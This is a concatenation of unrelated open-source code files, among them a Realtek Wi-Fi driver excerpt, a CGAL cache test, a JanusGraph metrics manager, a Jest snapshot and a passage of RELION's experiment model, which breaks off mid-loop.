(rtlphy->pwrgroup_cnt == 1) chnlgroup = 0; if (rtlphy->pwrgroup_cnt >= 3) { if (channel <= 3) chnlgroup = 0; else if (channel >= 4 && channel <= 9) chnlgroup = 1; else if (channel > 9) chnlgroup = 2; if (rtlphy->pwrgroup_cnt == 4) chnlgroup++; } writeVal = rtlphy->mcs_txpwrlevel_origoffset[chnlgroup] [index + (rf ? 8 : 0)] + ((index < 2) ? powerBase0[rf] : powerBase1[rf]); RTPRINT(rtlpriv, FPHY, PHY_TXPWR, "Realtek regulatory, 20MHz, writeVal(%c) = 0x%x\n", rf == 0 ? 'A' : 'B', writeVal); } break; case 2: writeVal = ((index < 2) ? powerBase0[rf] : powerBase1[rf]); RTPRINT(rtlpriv, FPHY, PHY_TXPWR, "Better regulatory, writeVal(%c) = 0x%x\n", rf == 0 ? 'A' : 'B', writeVal); break; case 3: chnlgroup = 0; if (rtlphy->current_chan_bw == HT_CHANNEL_WIDTH_20_40) { RTPRINT(rtlpriv, FPHY, PHY_TXPWR, "customer's limit, 40MHz rf(%c) = 0x%x\n", rf == 0 ? 'A' : 'B', rtlefuse->pwrgroup_ht40[rf][channel - 1]); } else { RTPRINT(rtlpriv, FPHY, PHY_TXPWR, "customer's limit, 20MHz rf(%c) = 0x%x\n", rf == 0 ? 'A' : 'B', rtlefuse->pwrgroup_ht20[rf][channel - 1]); } for (i = 0; i < 4; i++) { pwr_diff_limit[i] = (u8) ((rtlphy->mcs_txpwrlevel_origoffset [chnlgroup][index + (rf ? 8 : 0)] & (0x7f << (i * 8))) >> (i * 8)); if (rtlphy->current_chan_bw == HT_CHANNEL_WIDTH_20_40) { if (pwr_diff_limit[i] > rtlefuse-> pwrgroup_ht40[rf][channel - 1]) pwr_diff_limit[i] = rtlefuse->pwrgroup_ht40[rf] [channel - 1]; } else { if (pwr_diff_limit[i] > rtlefuse-> pwrgroup_ht20[rf][channel - 1]) pwr_diff_limit[i] = rtlefuse->pwrgroup_ht20[rf] [channel - 1]; } } customer_limit = (pwr_diff_limit[3] << 24) | (pwr_diff_limit[2] << 16) | (pwr_diff_limit[1] << 8) | (pwr_diff_limit[0]); RTPRINT(rtlpriv, FPHY, PHY_TXPWR, "Customer's limit rf(%c) = 0x%x\n", rf == 0 ? 'A' : 'B', customer_limit); writeVal = customer_limit + ((index < 2) ? powerBase0[rf] : powerBase1[rf]); RTPRINT(rtlpriv, FPHY, PHY_TXPWR, "Customer, writeVal rf(%c)= 0x%x\n", rf == 0 ? 'A' : 'B', writeVal); break; default: chnlgroup = 0; writeVal = rtlphy->mcs_txpwrlevel_origoffset[chnlgroup] [index + (rf ? 8 : 0)] + ((index < 2) ? powerBase0[rf] : powerBase1[rf]); RTPRINT(rtlpriv, FPHY, PHY_TXPWR, "RTK better performance, writeVal rf(%c) = 0x%x\n", rf == 0 ? 'A' : 'B', writeVal); break; } if (rtlpriv->dm.dynamic_txhighpower_lvl == TXHIGHPWRLEVEL_BT1) writeVal = writeVal - 0x06060606; else if (rtlpriv->dm.dynamic_txhighpower_lvl == TXHIGHPWRLEVEL_BT2) writeVal = writeVal - 0x0c0c0c0c; *(p_outwriteval + rf) = writeVal; } } static void _rtl92c_write_ofdm_power_reg(struct ieee80211_hw *hw, u8 index, u32 *pValue) { struct rtl_priv *rtlpriv = rtl_priv(hw); struct rtl_phy *rtlphy = &(rtlpriv->phy); u16 regoffset_a[6] = { RTXAGC_A_RATE18_06, RTXAGC_A_RATE54_24, RTXAGC_A_MCS03_MCS00, RTXAGC_A_MCS07_MCS04, RTXAGC_A_MCS11_MCS08, RTXAGC_A_MCS15_MCS12 }; u16 regoffset_b[6] = { RTXAGC_B_RATE18_06, RTXAGC_B_RATE54_24, RTXAGC_B_MCS03_MCS00, RTXAGC_B_MCS07_MCS04, RTXAGC_B_MCS11_MCS08, RTXAGC_B_MCS15_MCS12 }; u8 i, rf, pwr_val[4]; u32 writeVal; u16 regoffset; for (rf = 0; rf < 2; rf++) { writeVal = pValue[rf]; for (i = 0; i < 4; i++) { pwr_val[i] = (u8) ((writeVal & (0x7f << (i * 8))) >> (i * 8)); if (pwr_val[i] > RF6052_MAX_TX_PWR) pwr_val[i] = RF6052_MAX_TX_PWR; } writeVal = (pwr_val[3] << 24) | (pwr_val[2] << 16) | (pwr_val[1] << 8) | pwr_val[0]; if (rf == 0) regoffset = regoffset_a[index]; else regoffset = regoffset_b[index]; rtl_set_bbreg(hw, regoffset, MASKDWORD, writeVal); RTPRINT(rtlpriv, FPHY, PHY_TXPWR, "Set 0x%x = %08x\n", regoffset, writeVal); if (((get_rf_type(rtlphy) == RF_2T2R) && (regoffset == RTXAGC_A_MCS15_MCS12 || regoffset == RTXAGC_B_MCS15_MCS12)) || ((get_rf_type(rtlphy) != RF_2T2R) && (regoffset == RTXAGC_A_MCS07_MCS04 || regoffset == RTXAGC_B_MCS07_MCS04))) { writeVal = pwr_val[3]; if (regoffset == RTXAGC_A_MCS15_MCS12 || regoffset == RTXAGC_A_MCS07_MCS04) regoffset = 0xc90; if (regoffset == RTXAGC_B_MCS15_MCS12 || regoffset == RTXAGC_B_MCS07_MCS04) regoffset = 0xc98; for (i = 0; i < 3; i++) { writeVal = (writeVal > 6) ? (writeVal - 6) : 0; rtl_write_byte(rtlpriv, (u32) (regoffset + i), (u8) writeVal); } } } } void rtl92ce_phy_rf6052_set_ofdm_txpower(struct ieee80211_hw *hw, u8 *ppowerlevel, u8 channel) { u32 writeVal[2], powerBase0[2], powerBase1[2]; u8 index; rtl92c_phy_get_power_base(hw, ppowerlevel, channel, &powerBase0[0], &powerBase1[0]); for (index = 0; index < 6; index++) { _rtl92c_get_txpower_writeval_by_regulatory(hw, channel, index, &powerBase0[0], &powerBase1[0], &writeVal[0]); _rtl92c_write_ofdm_power_reg(hw, index, &writeVal[0]); } } bool rtl92ce_phy_rf6052_config(struct ieee80211_hw *hw) { struct rtl_priv *rtlpriv = rtl_priv(hw); struct rtl_phy *rtlphy = &(rtlpriv->phy); if (rtlphy->rf_type == RF_1T1R) rtlphy->num_total_rfpath = 1; else rtlphy->num_total_rfpath = 2; return _rtl92ce_phy_rf6052_config_parafile(hw); } static bool _rtl92ce_phy_rf6052_config_parafile(struct ieee80211_hw *hw) { struct rtl_priv *rtlpriv = rtl_priv(hw); struct rtl_phy *rtlphy = &(rtlpriv->phy); u32 u4_regvalue = 0; u8 rfpath; bool rtstatus = true; struct bb_reg_def *pphyreg; for (rfpath = 0; rfpath < rtlphy->num_total_rfpath; rfpath++) { pphyreg = &rtlphy->phyreg_def[rfpath]; switch (rfpath) { case RF90_PATH_A: case RF90_PATH_C: u4_regvalue = rtl_get_bbreg(hw, pphyreg->rfintfs, BRFSI_RFENV); break; case RF90_PATH_B: case RF90_PATH_D: u4_regvalue = rtl_get_bbreg(hw, pphyreg->rfintfs, BRFSI_RFENV << 16); break; } rtl_set_bbreg(hw, pphyreg->rfintfe, BRFSI_RFENV << 16, 0x1); udelay(1); rtl_set_bbreg(hw, pphyreg->rfintfo, BRFSI_RFENV, 0x1); udelay(1); rtl_set_bbreg(hw, pphyreg->rfhssi_para2, B3WIREADDREAALENGTH, 0x0); udelay(1); rtl_set_bbreg(hw, pphyreg->rfhssi_para2, B3WIREDATALENGTH, 0x0); udelay(1); switch (rfpath) { case RF90_PATH_A: rtstatus = rtl92c_phy_config_rf_with_headerfile(hw, (enum radio_path)rfpath); break; case RF90_PATH_B: rtstatus = rtl92c_phy_config_rf_with_headerfile(hw, (enum radio_path)rfpath); break; case RF90_PATH_C: break; case RF90_PATH_D: break; } switch (rfpath) { case RF90_PATH_A: case RF90_PATH_C: rtl_set_bbreg(hw, pphyreg->rfintfs, BRFSI_RFENV, u4_regvalue); break; case RF90_PATH_B: case RF90_PATH_D: rtl_set_bbreg(hw, pphyreg->rfintfs, BRFSI_RFENV << 16, u4_regvalue); break; } if (!rtstatus) { RT_TRACE(rtlpriv, COMP_INIT, DBG_TRACE, "Radio[%d] Fail!!\n", rfpath); return false; } } RT_TRACE(rtlpriv, COMP_INIT, DBG_TRACE, "<---\n"); return rtstatus; }
{ "pile_set_name": "Github" }
#define require(name) ruby_require_internal(name, (unsigned int)sizeof(name)-1) int ruby_require_internal(const char *, int); void Init_enc(void) { if (require("enc/encdb.so") == 1) { require("enc/trans/transdb.so"); } }
{ "pile_set_name": "Github" }
#!/usr/bin/env perl # [[[ PREPROCESSOR ]]] # <<< PARSE_ERROR: 'ERROR ECOPAPL02' >>> # <<< PARSE_ERROR: 'Bareword "foo" not allowed' >>> # [[[ HEADER ]]] use RPerl; use strict; use warnings; our $VERSION = 0.001_000; # [[[ CRITICS ]]] ## no critic qw(ProhibitUselessNoCritic ProhibitMagicNumbers RequireCheckedSyscalls) # USER DEFAULT 1: allow numeric values & print operator ## no critic qw(RequireInterpolationOfMetachars) # USER DEFAULT 2: allow single-quoted control characters & sigils # [[[ OPERATIONS ]]] my unsigned_integer $foo = 0; my unsigned_integer $bar = 1; my unsigned_integer $bat = ~(foo); my unsigned_integer $baz = ~($bar); print 'have $foo = ', $foo, "\n"; print 'have $bar = ', $bar, "\n"; print 'have $bat = ', $bat, "\n"; print 'have $baz = ', $baz, "\n"; $foo = 2; $bar = 3; $bat = ~(2); $baz = ~( $foo - $bar ); my unsigned_integer $bax = ~(~($foo)); print 'have $foo = ', $foo, "\n"; print 'have $bar = ', $bar, "\n"; print 'have $bat = ', $bat, "\n"; print 'have $baz = ', $baz, "\n"; print 'have $bax = ', $bax, "\n";
{ "pile_set_name": "Github" }
// ============================================================================ // // This software and related documentation is part of an INTERNAL release // of the Computational Geometry Algorithms Library (CGAL). It is not // intended for general use. // // ---------------------------------------------------------------------------- // $URL$ // $Id$ // Author(s) : Michael Hemmer <hemmer@informatik.uni-mainz.de> // // ============================================================================ #include <cassert> #include <CGAL/Cache.h> #include <CGAL/Handle_with_policy.h> #include <CGAL/function_objects.h> #include <CGAL/use.h> #include <CGAL/assertions.h> #include <boost/type_traits/is_same.hpp> struct Int_rep { int val; Int_rep( int i = 0) : val(i) {} Int_rep( int i, int j) : val(i+j) {} Int_rep( int i, int j, int k) : val(i+j+k) {} }; template < class Unify> struct Int_t : public CGAL::Handle_with_policy< Int_rep, Unify > { typedef CGAL::Handle_with_policy< Int_rep, Unify > Base; Int_t( int i = 0) : Base( i) {} Int_t( int i, int j) : Base( i, j) {} // test template constructors Int_t( int i, int j, int k) : Base( Base::USE_WITH_INITIALIZE_WITH) { // test initialize_with this->initialize_with( i, j + k); } // This is needed to prevent VC7.1 and VC8 to call // the explicit templated constructor in Base instead of its copy-ctor. Int_t( Int_t const& rhs ) : Base( static_cast<Base const&>(rhs) ) {} Int_t& operator=(Int_t const&)=default; int value() const { return this->ptr()->val; } void set_value( int i) { this->copy_on_write(); this->ptr()->val = i; } bool operator==( const Int_t<Unify>& i) const { bool equal = (value() == i.value()); if ( equal) Base::unify(i); return equal; } }; void test_typedefs(){ typedef CGAL::Cache<int,double> Cache; CGAL_USE_TYPE(Cache); CGAL_static_assertion(( ::boost::is_same< Cache::Input, int >::value )); CGAL_static_assertion(( ::boost::is_same< Cache::Output,double>::value )); typedef CGAL::Creator_1<int,double> Creator_double; CGAL_USE_TYPE(Creator_double); CGAL_static_assertion(( ::boost::is_same<Cache::Creator,Creator_double>::value )); typedef CGAL::Creator_1<int,int> Creator_int; CGAL_USE_TYPE(Creator_int); CGAL_static_assertion(( ::boost::is_same<Cache::Canonicalizer,Creator_int>::value )); CGAL_static_assertion(( ::boost::is_same<Cache::Compare,std::less<int> >::value )); CGAL_static_assertion(( ::boost::is_same<Cache::Self,CGAL::Cache<int,double> >::value )); } int main(){ { test_typedefs(); { typedef CGAL::Cache<int,double> Cache; double d; Cache cache; assert(cache.is_empty()); assert(cache.size()==0); d=cache(3); assert(d==double(3)); assert(cache.size()==1); d=cache(4); assert(d==double(4)); assert(cache.size()==2); d=cache(3); assert(d==double(3)); assert(cache.size()==2); d=cache(2); assert(d==double(2)); assert(cache.size()==3); typedef Cache::Iterator Iterator; CGAL_USE_TYPE(Cache::Const_iterator); CGAL_USE_TYPE(Cache::Reverse_iterator); CGAL_USE_TYPE(Cache::Const_reverse_iterator); CGAL_USE_TYPE(Cache::Size_type); Iterator it; d=0; for(it=cache.begin();it!=cache.end();it++){ assert(d<(*it).second); d=(*it).second; } cache.clear(); assert(cache.size()==0); } { typedef Int_t< CGAL::Handle_policy_no_union > Int; typedef CGAL::Cache<int,Int> Cache; Int hi,hi2; Cache cache; assert(cache.is_empty()); assert(cache.size()==0); hi=cache(3); assert(hi==Int(3)); assert(cache.size()==1); hi2=cache(4); assert(hi2==Int(4)); assert(cache.size()==2); hi2=cache(3); assert(hi.id()==hi2.id()); } } return EXIT_SUCCESS; }
{ "pile_set_name": "Github" }
// // ViewController.swift // SimpleTable // // Created by Matias Cudich on 11/3/16. // Copyright © 2016 Matias Cudich. All rights reserved. // import UIKit import TemplateKit class ViewController: UIViewController { var app: Node? override func viewDidLoad() { super.viewDidLoad() var properties = DefaultProperties() properties.core.layout.width = Float(view.bounds.size.width) properties.core.layout.height = Float(view.bounds.size.height) let templates: [URL] = [Item.templateURL, Bundle.main.url(forResource: "Header", withExtension: "xml")!] UIKitRenderer.defaultContext.templateService.fetchTemplates(withURLs: templates) { result in UIKitRenderer.render(component(App.self, properties), container: self.view, context: nil) { component in self.app = component } } } }
{ "pile_set_name": "Github" }
// Copyright 2017 JanusGraph Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package org.janusgraph.util.stats; import com.codahale.metrics.*; import com.codahale.metrics.graphite.Graphite; import com.codahale.metrics.graphite.GraphiteReporter; import com.google.common.base.Preconditions; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.management.MBeanServer; import javax.management.MBeanServerFactory; import java.io.File; import java.net.InetSocketAddress; import java.time.Duration; import java.util.List; import java.util.concurrent.TimeUnit; /** * Singleton that contains and configures JanusGraph's {@code MetricRegistry}. */ public enum MetricManager { INSTANCE; private static final Logger log = LoggerFactory.getLogger(MetricManager.class); private final MetricRegistry registry = new MetricRegistry(); private ConsoleReporter consoleReporter = null; private CsvReporter csvReporter = null; private JmxReporter jmxReporter = null; private Slf4jReporter slf4jReporter = null; private GraphiteReporter graphiteReporter = null; /** * Return the JanusGraph Metrics registry. * * @return the single {@code MetricRegistry} used for all of JanusGraph's Metrics * monitoring */ public MetricRegistry getRegistry() { return registry; } /** * Create a {@link ConsoleReporter} attached to the JanusGraph Metrics registry. * * @param reportInterval * time to wait between dumping metrics to the console */ public synchronized void addConsoleReporter(Duration reportInterval) { if (null != consoleReporter) { log.debug("Metrics ConsoleReporter already active; not creating another"); return; } consoleReporter = ConsoleReporter.forRegistry(getRegistry()).build(); consoleReporter.start(reportInterval.toMillis(), TimeUnit.MILLISECONDS); } /** * Stop a {@link ConsoleReporter} previously created by a call to * {@link #addConsoleReporter(Duration)} and release it for GC. Idempotent * between calls to the associated add method. Does nothing before the first * call to the associated add method. */ public synchronized void removeConsoleReporter() { if (null != consoleReporter) consoleReporter.stop(); consoleReporter = null; } /** * Create a {@link CsvReporter} attached to the JanusGraph Metrics registry. * <p> * The {@code output} argument must be non-null but need not exist. If it * doesn't already exist, this method attempts to create it by calling * {@link File#mkdirs()}. * * @param reportInterval * time to wait between dumping metrics to CSV files in * the configured directory * @param output * the path to a directory into which Metrics will periodically * write CSV data */ public synchronized void addCsvReporter(Duration reportInterval, String output) { File outputDir = new File(output); if (null != csvReporter) { log.debug("Metrics CsvReporter already active; not creating another"); return; } if (!outputDir.exists()) { if (!outputDir.mkdirs()) { log.warn("Failed to create CSV metrics dir {}", outputDir); } } csvReporter = CsvReporter.forRegistry(getRegistry()).build(outputDir); csvReporter.start(reportInterval.toMillis(), TimeUnit.MILLISECONDS); } /** * Stop a {@link CsvReporter} previously created by a call to * {@link #addCsvReporter(Duration, String)} and release it for GC. Idempotent * between calls to the associated add method. Does nothing before the first * call to the associated add method. */ public synchronized void removeCsvReporter() { if (null != csvReporter) csvReporter.stop(); csvReporter = null; } /** * Create a {@link JmxReporter} attached to the JanusGraph Metrics registry. * <p> * If {@code domain} or {@code agentId} is null, then Metrics's uses its own * internal default value(s). * <p> * If {@code agentId} is non-null, then * {@link MBeanServerFactory#findMBeanServer(String agentId)} must return exactly * one {@code MBeanServer}. The reporter will register with that server. If * the {@code findMBeanServer(String agentId)} call returns no or multiple servers, * then this method logs an error and falls back on the Metrics default for * {@code agentId}. * * @param domain * the JMX domain in which to continuously expose metrics * @param agentId * the JMX agent ID */ public synchronized void addJmxReporter(String domain, String agentId) { if (null != jmxReporter) { log.debug("Metrics JmxReporter already active; not creating another"); return; } JmxReporter.Builder b = JmxReporter.forRegistry(getRegistry()); if (null != domain) { b.inDomain(domain); } if (null != agentId) { List<MBeanServer> servers = MBeanServerFactory.findMBeanServer(agentId); if (null != servers && 1 == servers.size()) { b.registerWith(servers.get(0)); } else { log.error("Metrics Slf4jReporter agentId {} does not resolve to a single MBeanServer", agentId); } } jmxReporter = b.build(); jmxReporter.start(); } /** * Stop a {@link JmxReporter} previously created by a call to * {@link #addJmxReporter(String, String)} and release it for GC. Idempotent * between calls to the associated add method. Does nothing before the first * call to the associated add method. */ public synchronized void removeJmxReporter() { if (null != jmxReporter) jmxReporter.stop(); jmxReporter = null; } /** * Create a {@link Slf4jReporter} attached to the JanusGraph Metrics registry. * <p> * If {@code loggerName} is null, or if it is non-null but * {@link LoggerFactory#getLogger(Class loggerName)} returns null, then Metrics's * default Slf4j logger name is used instead. * * @param reportInterval * time to wait between writing metrics to the Slf4j * logger * @param loggerName * the name of the Slf4j logger that receives metrics */ public synchronized void addSlf4jReporter(Duration reportInterval, String loggerName) { if (null != slf4jReporter) { log.debug("Metrics Slf4jReporter already active; not creating another"); return; } Slf4jReporter.Builder b = Slf4jReporter.forRegistry(getRegistry()); if (null != loggerName) { Logger l = LoggerFactory.getLogger(loggerName); if (null != l) { b.outputTo(l); } else { log.error("Logger with name {} could not be obtained", loggerName); } } slf4jReporter = b.build(); slf4jReporter.start(reportInterval.toMillis(), TimeUnit.MILLISECONDS); } /** * Stop a {@link Slf4jReporter} previously created by a call to * {@link #addSlf4jReporter(Duration, String)} and release it for GC. Idempotent * between calls to the associated add method. Does nothing before the first * call to the associated add method. */ public synchronized void removeSlf4jReporter() { if (null != slf4jReporter) slf4jReporter.stop(); slf4jReporter = null; } /** * Create a {@link GraphiteReporter} attached to the JanusGraph Metrics registry. * <p> * If {@code prefix} is null, then Metrics's internal default prefix is used * (empty string at the time this comment was written). * * @param host * the host to which Graphite reports are sent * @param port * the port to which Graphite reports are sent * @param prefix * the optional metrics prefix * @param reportInterval * time to wait between sending metrics to the configured * Graphite host and port */ public synchronized void addGraphiteReporter(String host, int port, String prefix, Duration reportInterval) { Preconditions.checkNotNull(host); Graphite graphite = new Graphite(new InetSocketAddress(host, port)); GraphiteReporter.Builder b = GraphiteReporter .forRegistry(getRegistry()); if (null != prefix) b.prefixedWith(prefix); b.filter(MetricFilter.ALL); graphiteReporter = b.build(graphite); graphiteReporter.start(reportInterval.toMillis(), TimeUnit.MILLISECONDS); log.info("Configured Graphite reporter host={} interval={} port={} prefix={}", host, reportInterval, port, prefix); } /** * Stop a {@link GraphiteReporter} previously created by a call to * {@link #addGraphiteReporter(String, int, String, Duration)} and release it * for GC. Idempotent between calls to the associated add method. Does * nothing before the first call to the associated add method. */ public synchronized void removeGraphiteReporter() { if (null != graphiteReporter) graphiteReporter.stop(); graphiteReporter = null; } /** * Remove all JanusGraph Metrics reporters previously configured through the * {@code add*} methods on this class. */ public synchronized void removeAllReporters() { removeConsoleReporter(); removeCsvReporter(); removeJmxReporter(); removeSlf4jReporter(); removeGraphiteReporter(); } public Counter getCounter(String name) { return getRegistry().counter(name); } public Counter getCounter(String prefix, String... names) { return getRegistry().counter(MetricRegistry.name(prefix, names)); } public Timer getTimer(String name) { return getRegistry().timer(name); } public Timer getTimer(String prefix, String... names) { return getRegistry().timer(MetricRegistry.name(prefix, names)); } public Histogram getHistogram(String name) { return getRegistry().histogram(name); } public Histogram getHistogram(String prefix, String... names) { return getRegistry().histogram(MetricRegistry.name(prefix, names)); } public boolean remove(String name) { return getRegistry().remove(name); } }
{ "pile_set_name": "Github" }
// Jest Snapshot v1, https://goo.gl/fbAQLP exports[`ChannelMembers should match snapshot 1`] = ` <Connect(KeyboardLayout)> <Connect(StatusBar) /> <View style={ Object { "height": 38, "marginVertical": 5, "paddingLeft": 8, } } > <View style={null} > <Search autoCapitalize="none" backArrowSize={24} backgroundColor="transparent" blurOnSubmit={false} cancelTitle="Cancel" containerHeight={40} deleteIconSize={20} editable={true} inputHeight={33} inputStyle={ Object { "backgroundColor": "rgba(61,60,64,0.2)", "color": "#3d3c40", "fontSize": 15, } } keyboardAppearance="light" keyboardShouldPersist={false} keyboardType="default" onBlur={[Function]} onCancelButtonPress={[Function]} onChangeText={[Function]} onSearchButtonPress={[Function]} onSelectionChange={[Function]} placeholder="Search" placeholderTextColor="rgba(61,60,64,0.5)" returnKeyType="search" searchBarRightMargin={0} searchIconSize={24} showArrow={false} showCancel={true} tintColorDelete="rgba(61,60,64,0.5)" tintColorSearch="rgba(61,60,64,0.5)" titleCancelColor="#3d3c40" value="" /> </View> </View> <CustomList canRefresh={true} data={Array []} extraData={Object {}} isLandscape={false} listType="section" loading={false} loadingComponent={null} noResults={null} onLoadMore={[Function]} onRowPress={[Function]} renderItem={[Function]} shouldRenderSeparator={true} showNoResults={true} theme={ Object { "awayIndicator": "#ffbc42", "buttonBg": "#166de0", "buttonColor": "#ffffff", "centerChannelBg": "#ffffff", "centerChannelColor": "#3d3c40", "codeTheme": "github", "dndIndicator": "#f74343", "errorTextColor": "#fd5960", "linkColor": "#2389d7", "mentionBg": "#ffffff", "mentionBj": "#ffffff", "mentionColor": "#145dbf", "mentionHighlightBg": "#ffe577", "mentionHighlightLink": "#166de0", "newMessageSeparator": "#ff8800", "onlineIndicator": "#06d6a0", "sidebarBg": "#145dbf", "sidebarHeaderBg": "#1153ab", "sidebarHeaderTextColor": "#ffffff", "sidebarText": "#ffffff", "sidebarTextActiveBorder": "#579eff", "sidebarTextActiveColor": "#ffffff", "sidebarTextHoverBg": "#4578bf", "sidebarUnreadText": "#ffffff", "type": "Mattermost", } } /> </Connect(KeyboardLayout)> `;
{ "pile_set_name": "Github" }
/*************************************************************************** * * Author: "Sjors H.W. Scheres" * MRC Laboratory of Molecular Biology * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * This complete copyright notice must be included in any revised version of the * source code. Additional authorship citations may be added, but existing * author citations must be preserved. ***************************************************************************/ #include "src/exp_model.h" #include <sys/statvfs.h> long int Experiment::numberOfParticles(int random_subset) { if (random_subset == 0) return particles.size(); else if (random_subset == 1) return nr_particles_subset1; else if (random_subset == 2) return nr_particles_subset2; else REPORT_ERROR("ERROR: Experiment::numberOfParticles invalid random_subset: " + integerToString(random_subset)); } // Get the total number of images in a given particle long int Experiment::numberOfImagesInParticle(long int part_id) { return particles[part_id].images.size(); } long int Experiment::numberOfMicrographs() { return micrographs.size(); } long int Experiment::numberOfGroups() { return groups.size(); } int Experiment::numberOfOpticsGroups() { return obsModel.numberOfOpticsGroups(); } bool Experiment::hasCtfPremultiplied() { for (int og = 0; og < numberOfOpticsGroups(); og++) if (obsModel.getCtfPremultiplied(og)) return true; return false; } RFLOAT Experiment::getOpticsPixelSize(int optics_group) { return obsModel.getPixelSize(optics_group); } int Experiment::getOpticsImageSize(int optics_group) { return obsModel.getBoxSize(optics_group); } long int Experiment::getMicrographId(long int part_id, int img_id) { return (particles[part_id].images[img_id]).micrograph_id; } long int Experiment::getGroupId(long int part_id, int img_id) { return (particles[part_id].images[img_id]).group_id; } int Experiment::getOpticsGroup(long part_id, int img_id) { return particles[part_id].images[img_id].optics_group; } int Experiment::getRandomSubset(long int part_id) { return particles[part_id].random_subset; } int Experiment::getOriginalImageId(long part_id, int img_id) { return particles[part_id].images[img_id].id; } RFLOAT Experiment::getImagePixelSize(long int part_id, int img_id) { int optics_group = particles[part_id].images[img_id].optics_group; return obsModel.getPixelSize(optics_group); } void Experiment::getNumberOfImagesPerGroup(std::vector<long int> &nr_particles_per_group) { nr_particles_per_group.resize(groups.size()); for (long int part_id = 0; part_id < particles.size(); part_id++) for (int img_id = 0; img_id < particles[part_id].images.size(); img_id++) nr_particles_per_group[particles[part_id].images[img_id].group_id] += 1; } MetaDataTable Experiment::getMetaDataImage(long int part_id, int img_id) { MetaDataTable result; result.addObject(MDimg.getObject(getOriginalImageId(part_id, img_id))); return result; } long int Experiment::addParticle(std::string part_name, int random_subset) { ExpParticle particle; particle.name = part_name; particle.random_subset = random_subset; // Push back this particle in the particles vector and its sorted index in sorted_idx sorted_idx.push_back(particles.size()); particles.push_back(particle); // Return the current part_id in the particles vector return particles.size() - 1; } int Experiment::addImageToParticle(long int part_id, std::string img_name, long int ori_img_id, long int group_id, long int micrograph_id, int optics_group, bool unique) { if (group_id >= groups.size()) REPORT_ERROR("Experiment::addImageToParticle: group_id out of range"); if (micrograph_id >= micrographs.size()) REPORT_ERROR("Experiment::addImageToParticle: micrograph_id out of range"); if (optics_group >= obsModel.numberOfOpticsGroups()) REPORT_ERROR("Experiment::addImageToParticle: optics_group out of range"); ExpImage img; img.name = img_name; img.id = ori_img_id; img.particle_id = part_id; img.group_id = group_id; img.micrograph_id = micrograph_id; img.optics_group = optics_group; if (unique) nr_images_per_optics_group[optics_group]++; img.optics_group_id = nr_images_per_optics_group[optics_group] - 1; if (img.optics_group_id < 0) REPORT_ERROR("Logic error in Experiment::addImageToParticle."); // Push back this particle in the particles vector particles[part_id].images.push_back(img); (micrographs[micrograph_id].image_ids).push_back(img.id); return particles[part_id].images.size() - 1; } long int Experiment::addGroup(std::string group_name, int _optics_group) { // Add new group to this Experiment ExpGroup group; group.id = groups.size(); // start counting groups at 0! group.optics_group = _optics_group; group.name = group_name; // Push back this micrograph groups.push_back(group); // Return the id in the micrographs vector return group.id; } long int Experiment::addMicrograph(std::string mic_name) { // Add new micrograph to this Experiment ExpMicrograph micrograph; micrograph.id = micrographs.size(); micrograph.name = mic_name; // Push back this micrograph micrographs.push_back(micrograph); // Return the id in the micrographs vector return micrograph.id; } void Experiment::divideParticlesInRandomHalves(int seed, bool do_helical_refine) { // Only do this if the random_subset of all original_particles is zero bool all_are_zero = true; bool some_are_zero = false; nr_particles_subset1 = 0; nr_particles_subset2 = 0; for (long int i = 0; i < particles.size(); i++) { int random_subset = particles[i].random_subset; if (random_subset != 0) { all_are_zero = false; // Keep track of how many particles there are in each subset if (random_subset == 1) nr_particles_subset1++; else if (random_subset == 2) nr_particles_subset2++; else REPORT_ERROR("ERROR Experiment::divideParticlesInRandomHalves: invalid number for random subset (i.e. not 1 or 2): " + integerToString(random_subset)); } else some_are_zero = true; if (!all_are_zero && some_are_zero) REPORT_ERROR("ERROR Experiment::divideParticlesInRandomHalves: some random subset values are zero and others are not. They should all be zero, or all bigger than zero!"); } if (all_are_zero) { // Only randomise them if the random_subset values were not read in from the STAR file srand(seed); if (do_helical_refine) { std::string mic_name, img_name; int nr_swaps, nr_segments_subset1, nr_segments_subset2, helical_tube_id; std::map<std::string, int> map_mics; std::map<std::string, int>::const_iterator ii_map; std::vector<std::pair<std::string, int> > vec_mics; bool divide_according_to_helical_tube_id = false; if (MDimg.containsLabel(EMDL_PARTICLE_HELICAL_TUBE_ID)) divide_according_to_helical_tube_id = true; // Count micrograph names map_mics.clear(); for (long int part_id = 0; part_id < particles.size(); part_id++) { // Get name of micrograph of the first image in this particle long int mic_id = particles[part_id].images[0].micrograph_id; mic_name = micrographs[mic_id].name; if (divide_according_to_helical_tube_id) { long int ori_img_id = getOriginalImageId(part_id, 0); MDimg.getValue(EMDL_PARTICLE_HELICAL_TUBE_ID, helical_tube_id, ori_img_id); if (helical_tube_id < 1) REPORT_ERROR("ERROR Experiment::divideParticlesInRandomHalves: Helical tube ID should be positive integer!"); mic_name += std::string("_TUBEID_"); mic_name += std::string(integerToString(helical_tube_id)); } if ((map_mics.insert(std::make_pair(mic_name, 1))).second == false) map_mics[mic_name]++; } vec_mics.clear(); for (ii_map = map_mics.begin(); ii_map != map_mics.end(); ii_map++) vec_mics.push_back(*ii_map); // NEW RANDOMISATION (better than the old one) nr_swaps = 0; for (int ptr_a = 0; ptr_a < (vec_mics.size() - 1); ptr_a++) { std::pair<std::string, int> tmp; int ptr_b = ROUND(rnd_unif(ptr_a, vec_mics.size() - 1)); if ( (ptr_b <= ptr_a) || (ptr_b >= vec_mics.size()) ) continue; nr_swaps++; tmp = vec_mics[ptr_a]; vec_mics[ptr_a] = vec_mics[ptr_b]; vec_mics[ptr_b] = tmp; } // Divide micrographs into halves map_mics.clear(); nr_segments_subset1 = nr_segments_subset2 = 0; for (int ii = 0; ii < vec_mics.size(); ii++) { if (nr_segments_subset1 < nr_segments_subset2) { nr_segments_subset1 += vec_mics[ii].second; vec_mics[ii].second = 1; } else { nr_segments_subset2 += vec_mics[ii].second; vec_mics[ii].second = 2; } map_mics.insert(vec_mics[ii]); } for (long 